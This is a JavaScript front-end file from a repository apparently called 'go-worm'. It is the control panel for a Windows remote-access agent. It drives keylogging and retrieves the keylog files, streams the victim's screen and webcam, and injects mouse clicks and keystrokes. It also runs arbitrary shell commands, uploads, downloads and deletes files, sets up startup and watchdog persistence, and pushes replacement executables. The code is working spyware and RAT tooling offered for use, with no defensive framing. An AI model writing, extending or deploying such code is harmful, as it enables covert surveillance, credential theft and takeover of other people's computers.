Files
go-worm/lib/agent/web/app.js
T
kato 977da8b109 feat(watchdog): separate watchdog from startup
- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install
2026-09-02 00:15:37 +03:00

847 lines
31 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
(() => {
const errorEl = document.getElementById("error");
const healthEl = document.getElementById("health");
const statusFields = document.getElementById("status-fields");
const pathInput = document.getElementById("file-path");
const fileMeta = document.getElementById("file-meta");
const fileRows = document.getElementById("file-rows");
const shotGallery = document.getElementById("shot-gallery");
const execOut = document.getElementById("exec-out");
const execMeta = document.getElementById("exec-meta");
const logMeta = document.getElementById("log-meta");
const logRows = document.getElementById("log-rows");
const logView = document.getElementById("log-view");
const logViewTitle = document.getElementById("log-view-title");
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const watchdogState = document.getElementById("watchdog-state");
const watchdogEnable = document.getElementById("watchdog-enable");
const watchdogDisable = document.getElementById("watchdog-disable");
const keylogState = document.getElementById("keylog-state");
const keylogEnable = document.getElementById("keylog-enable");
const keylogDisable = document.getElementById("keylog-disable");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
const videoStop = document.getElementById("video-stop");
const videoInteract = document.getElementById("video-interact");
const videoKeyHint = document.getElementById("video-key-hint");
const webcamCanvas = document.getElementById("webcam-canvas");
const webcamMeta = document.getElementById("webcam-meta");
const webcamDevice = document.getElementById("webcam-device");
const webcamStart = document.getElementById("webcam-start");
const webcamStop = document.getElementById("webcam-stop");
let objectUrls = [];
let videoRunning = false;
let videoTabActive = false;
let webcamRunning = false;
let selectedLogName = "";
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
let currentListen = "";
function showError(message) {
errorEl.textContent = message || "";
errorEl.classList.toggle("show", Boolean(message));
}
async function readError(res) {
try {
const data = await res.json();
return data.error || res.statusText;
} catch {
return res.statusText || "request failed";
}
}
async function api(url, options) {
showError("");
const res = await fetch(url, options);
if (!res.ok) {
throw new Error(await readError(res));
}
return res;
}
function formatBytes(n) {
if (n < 1024) return `${n} B`;
const units = ["KB", "MB", "GB", "TB"];
let value = n / 1024;
let i = 0;
while (value >= 1024 && i < units.length - 1) {
value /= 1024;
i += 1;
}
return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
}
// ponytail: extension allowlist; browsers that can't render still get a tab (download/blank)
const previewExt = new Set([
"png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "ico",
"pdf",
"txt", "log", "csv", "json", "xml", "html", "htm", "css", "js", "md",
"mp4", "webm", "ogg", "mp3", "wav",
]);
function isPreviewable(filename) {
const i = String(filename).lastIndexOf(".");
if (i < 0) return false;
return previewExt.has(String(filename).slice(i + 1).toLowerCase());
}
function joinPath(base, name) {
if (!base) return name;
if (/[\\/]$/.test(base)) return base + name;
return `${base}\\${name}`;
}
function parentPath(path) {
const trimmed = String(path || "").replace(/[\\/]+$/, "");
const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
if (idx <= 2) return trimmed.slice(0, 3);
return trimmed.slice(0, idx);
}
function revokeShots() {
for (const url of objectUrls) URL.revokeObjectURL(url);
objectUrls = [];
}
async function loadHealth() {
try {
const res = await api("/health");
const data = await res.json();
healthEl.textContent = data.status === "ok" ? "online" : data.status;
healthEl.className = "badge ok";
} catch (err) {
healthEl.textContent = "offline";
healthEl.className = "badge bad";
showError(err.message);
}
}
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const verEl = document.getElementById("app-version");
if (verEl && data.agent_version) {
verEl.textContent = data.agent_version;
}
const fields = [
["Hostname", data.hostname],
["User", data.user],
["OS", data.os],
["Architecture", data.architecture],
["Version", data.agent_version],
["Listen", data.listen_address],
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
["klogging", data.klogging ? "on" : "off"],
];
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
loadSettings().catch((err) => showError(err.message));
statusFields.replaceChildren(
...fields.map(([label, value]) => {
const item = document.createElement("div");
item.className = "status-item";
const dt = document.createElement("dt");
dt.textContent = label;
const dd = document.createElement("dd");
dd.textContent = value || "—";
item.append(dt, dd);
return item;
})
);
}
async function uploadFile(file) {
const dir = pathInput.value.trim();
if (!dir) {
throw new Error("open a folder first");
}
const form = new FormData();
form.set("path", dir);
form.set("file", file);
showError("");
const res = await fetch("/api/v1/upload", { method: "POST", body: form });
if (!res.ok) {
throw new Error(await readError(res));
}
return res.json();
}
function downloadFolder(fullPath, folderName) {
const link = document.createElement("a");
link.href = `/api/v1/files/zip?path=${encodeURIComponent(fullPath)}`;
link.download = `${folderName}.zip`;
document.body.append(link);
link.click();
link.remove();
}
async function deleteFile(fullPath, name) {
if (!confirm(`Delete ${name}?`)) {
return;
}
const query = new URLSearchParams({ path: fullPath });
await api(`/api/v1/files?${query}`, { method: "DELETE" });
await listFiles(pathInput.value.trim());
}
async function listFiles(path) {
const query = new URLSearchParams();
if (path) query.set("path", path);
query.set("depth", "0");
const res = await api(`/api/v1/files?${query}`);
const data = await res.json();
pathInput.value = data.path || "";
const entries = data.entries || [];
fileMeta.textContent = `${entries.length} entries`;
fileRows.replaceChildren();
for (const entry of entries) {
const tr = document.createElement("tr");
const name = document.createElement("td");
const full = joinPath(data.path, entry.name);
if (entry.type === "dir") {
name.className = "name dir";
const label = document.createElement("span");
label.className = "dir-label";
label.textContent = entry.name;
label.addEventListener("click", () => {
listFiles(full).catch((err) => showError(err.message));
});
const zipBtn = document.createElement("button");
zipBtn.type = "button";
zipBtn.className = "folder-zip";
zipBtn.textContent = "Download";
zipBtn.title = "Download folder as zip";
zipBtn.addEventListener("click", (event) => {
event.stopPropagation();
downloadFolder(full, entry.name);
});
name.append(label, zipBtn);
} else {
name.className = "name file";
name.textContent = entry.name;
name.addEventListener("click", () => {
const link = document.createElement("a");
link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
link.download = entry.name;
document.body.append(link);
link.click();
link.remove();
});
}
const type = document.createElement("td");
type.textContent = entry.type;
const size = document.createElement("td");
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
const modified = document.createElement("td");
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
const action = document.createElement("td");
action.className = "actions";
const del = document.createElement("button");
del.type = "button";
del.className = "danger";
del.textContent = "Delete";
del.addEventListener("click", (event) => {
event.stopPropagation();
deleteFile(full, entry.name).catch((err) => showError(err.message));
});
action.append(del);
if (entry.type === "file" && isPreviewable(entry.name)) {
const preview = document.createElement("button");
preview.type = "button";
preview.textContent = "Preview";
preview.addEventListener("click", (event) => {
event.stopPropagation();
const url = `/api/v1/download?path=${encodeURIComponent(full)}&inline=1`;
window.open(url, "_blank", "noopener");
});
action.append(preview);
}
tr.append(name, type, size, modified, action);
fileRows.append(tr);
}
}
async function captureScreen() {
revokeShots();
shotGallery.replaceChildren();
const format = document.getElementById("shot-format").value;
const quality = document.getElementById("shot-quality").value;
const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
const contentType = res.headers.get("content-type") || "";
if (contentType.includes("application/json")) {
const data = await res.json();
for (const image of data.images || []) {
addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
}
return;
}
addShot(await res.blob(), "Display");
}
function base64Blob(data, contentType) {
const binary = atob(data);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i += 1) {
bytes[i] = binary.charCodeAt(i);
}
return new Blob([bytes], { type: contentType || "application/octet-stream" });
}
function addShot(blob, caption) {
const url = URL.createObjectURL(blob);
objectUrls.push(url);
const figure = document.createElement("figure");
const img = document.createElement("img");
img.src = url;
img.alt = caption;
const figcaption = document.createElement("figcaption");
figcaption.className = "meta";
figcaption.textContent = caption;
figure.append(img, figcaption);
shotGallery.append(figure);
}
function setStartup(enabled) {
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
startupAdd.disabled = enabled;
startupRemove.disabled = !enabled;
}
function setWatchdog(enabled) {
watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
watchdogEnable.disabled = enabled;
watchdogDisable.disabled = !enabled;
}
function setKeylog(enabled) {
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
keylogEnable.disabled = enabled;
keylogDisable.disabled = !enabled;
}
async function loadSettings() {
const res = await api("/api/v1/settings");
const data = await res.json();
setKeylog(Boolean(data.klogging));
}
async function setKeylogEnabled(enabled) {
const res = await api("/api/v1/settings", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ klogging: enabled }),
});
const data = await res.json();
setKeylog(Boolean(data.klogging));
loadStatus().catch((err) => showError(err.message));
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
loadStatus().catch((err) => showError(err.message));
}
async function setWatchdogEnabled(enabled) {
const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
loadStatus().catch((err) => showError(err.message));
}
function clamp(value, min, max) {
const n = Number(value);
if (!Number.isFinite(n)) return min;
return Math.min(max, Math.max(min, Math.round(n)));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function startVideo() {
if (videoRunning) return;
videoRunning = true;
videoStart.disabled = true;
videoStop.disabled = false;
while (videoRunning) {
const started = Date.now();
try {
await pullVideoFrame();
} catch (err) {
showError(err.message);
}
if (!videoRunning) break;
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
}
}
function stopVideo() {
videoRunning = false;
videoStart.disabled = false;
videoStop.disabled = true;
releaseRemoteModifiers().catch((err) => showError(err.message));
}
async function refreshWebcams() {
const res = await api("/api/v1/webcam");
const data = await res.json();
const devices = data.devices || [];
const prev = webcamDevice.value;
webcamDevice.replaceChildren();
if (!devices.length) {
const opt = document.createElement("option");
opt.value = "";
opt.textContent = "No webcams found";
webcamDevice.append(opt);
webcamMeta.textContent = "No capture devices";
return;
}
for (const device of devices) {
const opt = document.createElement("option");
opt.value = String(device.index);
opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`;
webcamDevice.append(opt);
}
if ([...webcamDevice.options].some((o) => o.value === prev)) {
webcamDevice.value = prev;
}
webcamMeta.textContent = `${devices.length} device(s)`;
}
async function pullWebcamFrame() {
const device = webcamDevice.value;
if (device === "") throw new Error("no webcam selected");
const quality = clamp(document.getElementById("webcam-quality").value, 1, 100);
const res = await api(
`/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}`
);
const blob = await res.blob();
const bitmap = await createImageBitmap(blob);
if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) {
webcamCanvas.width = bitmap.width;
webcamCanvas.height = bitmap.height;
}
webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0);
const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width);
const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height);
webcamMeta.textContent = `${w}×${h} · device ${device}`;
bitmap.close();
}
async function startWebcam() {
if (webcamRunning) return;
webcamRunning = true;
webcamStart.disabled = true;
webcamStop.disabled = false;
while (webcamRunning) {
const started = Date.now();
try {
await pullWebcamFrame();
} catch (err) {
showError(err.message);
}
if (!webcamRunning) break;
const fps = clamp(document.getElementById("webcam-fps").value, 1, 10);
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
}
}
function stopWebcam() {
webcamRunning = false;
webcamStart.disabled = false;
webcamStop.disabled = true;
}
async function pullVideoFrame() {
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
lastMonitor = {
left: Number(res.headers.get("X-Monitor-Left") || 0),
top: Number(res.headers.get("X-Monitor-Top") || 0),
width: Number(res.headers.get("X-Monitor-Width") || 0),
height: Number(res.headers.get("X-Monitor-Height") || 0),
};
const blob = await res.blob();
const bitmap = await createImageBitmap(blob);
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
videoCanvas.width = bitmap.width;
videoCanvas.height = bitmap.height;
}
const ctx = videoCanvas.getContext("2d");
ctx.drawImage(bitmap, 0, 0);
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
}
async function sendClick(event, button) {
if (!videoInteract.checked) return;
if (!lastMonitor.width || !lastMonitor.height) return;
const rect = videoCanvas.getBoundingClientRect();
if (!rect.width || !rect.height) return;
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
const x = lastMonitor.left + bitmapX;
const y = lastMonitor.top + bitmapY;
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
await api("/api/v1/input/click", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ x, y, button, monitor }),
});
}
const MODIFIER_CODES = new Set([
"ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight",
"AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight",
]);
const CODE_KEYS = {
Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab",
Escape: "escape", Space: "space", Delete: "delete", Insert: "insert",
Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown",
ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right",
Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/",
Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'",
};
for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i);
for (let i = 0; i < 26; i += 1) {
const letter = String.fromCharCode(65 + i);
CODE_KEYS[`Key${letter}`] = letter.toLowerCase();
}
for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`;
const modState = { ctrl: false, alt: false, shift: false, win: false };
function setModButton(name, active) {
const button = document.querySelector(`.mod-btn[data-mod="${name}"]`);
if (!button) return;
button.classList.toggle("active", active);
button.setAttribute("aria-pressed", active ? "true" : "false");
}
function isTypingTarget(el) {
if (!el || el === document.body) return false;
const tag = el.tagName;
if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true;
if (el.isContentEditable) return true;
return false;
}
function setVideoTabActive(active) {
if (videoTabActive === active) return;
videoTabActive = active;
document.removeEventListener("keydown", onVideoKeydown, true);
if (active) {
document.addEventListener("keydown", onVideoKeydown, true);
}
}
function onVideoKeydown(event) {
if (!videoTabActive || !videoInteract.checked) return;
if (isTypingTarget(event.target)) return;
if (MODIFIER_CODES.has(event.code)) return;
const key = keyFromEvent(event);
if (!key) return;
event.preventDefault();
event.stopPropagation();
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
}
function syncInteractable() {
const on = videoInteract.checked;
videoCanvas.classList.toggle("view-only", !on);
videoKeyHint.textContent = on
? "Keyboard sends to remote while this tab is active"
: "View only — enable Interactable to send mouse and keyboard";
document.querySelectorAll(".mod-btn").forEach((button) => {
button.disabled = !on;
});
if (!on) {
releaseRemoteModifiers().catch((err) => showError(err.message));
}
}
function keyFromEvent(event) {
if (CODE_KEYS[event.code]) return CODE_KEYS[event.code];
if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) {
return event.key.toLowerCase();
}
return null;
}
function transientModifiers(event) {
const mods = [];
if (event.shiftKey && !modState.shift) mods.push("shift");
if (event.ctrlKey && !modState.ctrl) mods.push("ctrl");
if (event.altKey && !modState.alt) mods.push("alt");
if (event.metaKey && !modState.win) mods.push("win");
return mods;
}
async function sendRemoteKey(key, action = "tap", modifiers = []) {
await api("/api/v1/input/key", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ key, action, modifiers }),
});
}
async function releaseRemoteModifiers() {
const jobs = [];
for (const [name, active] of Object.entries(modState)) {
if (!active) continue;
modState[name] = false;
setModButton(name, false);
jobs.push(sendRemoteKey(name, "up"));
}
await Promise.all(jobs);
}
function downloadLog(name) {
const link = document.createElement("a");
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`;
link.download = name;
document.body.append(link);
link.click();
link.remove();
}
async function openLog(name, row) {
selectedLogName = name;
document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected"));
row?.classList.add("selected");
logViewTitle.textContent = name;
logView.hidden = false;
logView.textContent = "Loading…";
try {
const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`);
logView.textContent = await res.text();
} catch (err) {
logView.textContent = "";
logView.hidden = true;
logViewTitle.textContent = "";
showError(err.message);
}
}
async function listKeylogs() {
const res = await api("/api/v1/keylog");
const data = await res.json();
const files = data.files || [];
logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`;
logRows.replaceChildren();
for (const file of files) {
const tr = document.createElement("tr");
tr.className = "log-row";
if (file.name === selectedLogName) tr.classList.add("selected");
const name = document.createElement("td");
name.className = "log-name";
name.textContent = file.name;
name.addEventListener("click", () => {
openLog(file.name, tr).catch((err) => showError(err.message));
});
tr.addEventListener("contextmenu", (event) => {
event.preventDefault();
downloadLog(file.name);
});
const size = document.createElement("td");
size.textContent = formatBytes(file.size || 0);
const modified = document.createElement("td");
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
tr.append(name, size, modified);
logRows.append(tr);
}
if (selectedLogName && !files.some((file) => file.name === selectedLogName)) {
selectedLogName = "";
logView.hidden = true;
logView.textContent = "";
logViewTitle.textContent = "";
} else if (selectedLogName) {
const row = logRows.querySelector("tr.log-row.selected");
openLog(selectedLogName, row).catch((err) => showError(err.message));
}
}
function alternatePort(addr) {
const match = String(addr || "").match(/:(\d+)$/);
const port = match ? Number(match[1]) : 5032;
return port === 5032 ? 5033 : 5032;
}
function syncUpdateMeta() {
const meta = document.getElementById("update-meta");
if (!meta) return;
if (!currentListen) {
meta.textContent = "Refresh status to see the current listen address.";
return;
}
meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`;
}
async function deployUpdate(file) {
const form = new FormData();
form.set("file", file);
const res = await api("/api/v1/update", { method: "POST", body: form });
const data = await res.json();
const result = document.getElementById("update-result");
result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`;
}
async function runCommand() {
const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value);
const res = await api("/api/v1/exec", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command, timeout_sec: timeout }),
});
const data = await res.json();
execMeta.textContent = `exit code ${data.exit_code}`;
const stdout = data.stdout || "";
const stderr = data.stderr || "";
execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
}
document.querySelectorAll("nav button").forEach((button) => {
button.addEventListener("click", () => {
document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
button.classList.add("active");
document.getElementById(button.dataset.tab).classList.add("active");
const onVideo = button.dataset.tab === "video";
setVideoTabActive(onVideo);
if (!onVideo) {
stopVideo();
}
if (button.dataset.tab === "logs") {
listKeylogs().catch((err) => showError(err.message));
}
if (button.dataset.tab === "settings") {
loadSettings().catch((err) => showError(err.message));
}
});
});
document.getElementById("refresh-status").addEventListener("click", () => {
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
});
startupAdd.addEventListener("click", () => {
setStartupEnabled(true).catch((err) => showError(err.message));
});
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
watchdogEnable.addEventListener("click", () => {
setWatchdogEnabled(true).catch((err) => showError(err.message));
});
watchdogDisable.addEventListener("click", () => {
setWatchdogEnabled(false).catch((err) => showError(err.message));
});
keylogEnable.addEventListener("click", () => {
setKeylogEnabled(true).catch((err) => showError(err.message));
});
keylogDisable.addEventListener("click", () => {
setKeylogEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
document.getElementById("file-up").addEventListener("click", () => {
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
});
const filePicker = document.getElementById("file-picker");
document.getElementById("file-upload").addEventListener("click", () => {
filePicker.click();
});
filePicker.addEventListener("change", () => {
const file = filePicker.files[0];
filePicker.value = "";
if (!file) return;
uploadFile(file)
.then((data) => {
fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`;
return listFiles(pathInput.value.trim());
})
.catch((err) => showError(err.message));
});
document.getElementById("shot-capture").addEventListener("click", () => {
captureScreen().catch((err) => showError(err.message));
});
videoStart.addEventListener("click", () => {
startVideo().catch((err) => showError(err.message));
});
videoStop.addEventListener("click", () => stopVideo());
document.getElementById("webcam-refresh").addEventListener("click", () => {
refreshWebcams().catch((err) => showError(err.message));
});
webcamStart.addEventListener("click", () => {
startWebcam().catch((err) => showError(err.message));
});
webcamStop.addEventListener("click", () => stopWebcam());
document.getElementById("webcam-snap").addEventListener("click", () => {
pullWebcamFrame().catch((err) => showError(err.message));
});
videoCanvas.addEventListener("click", (event) => {
sendClick(event, "left").catch((err) => showError(err.message));
});
videoCanvas.addEventListener("contextmenu", (event) => {
event.preventDefault();
sendClick(event, "right").catch((err) => showError(err.message));
});
videoInteract.addEventListener("change", () => syncInteractable());
document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => {
if (!videoInteract.checked) return;
const name = button.dataset.mod;
if (!name) return;
modState[name] = !modState[name];
setModButton(name, modState[name]);
sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => {
modState[name] = !modState[name];
setModButton(name, modState[name]);
showError(err.message);
});
});
});
syncInteractable();
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
});
document.getElementById("update-deploy").addEventListener("click", () => {
const picker = document.getElementById("update-picker");
const file = picker.files[0];
if (!file) {
showError("choose a .exe file first");
return;
}
deployUpdate(file)
.then(() => {
picker.value = "";
})
.catch((err) => showError(err.message));
});
document.getElementById("log-refresh").addEventListener("click", () => {
listKeylogs().catch((err) => showError(err.message));
});
Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message));
})();